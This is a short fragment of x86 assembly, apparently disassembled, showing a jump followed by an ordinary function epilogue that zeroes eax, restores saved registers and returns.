jmp 0x417681
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret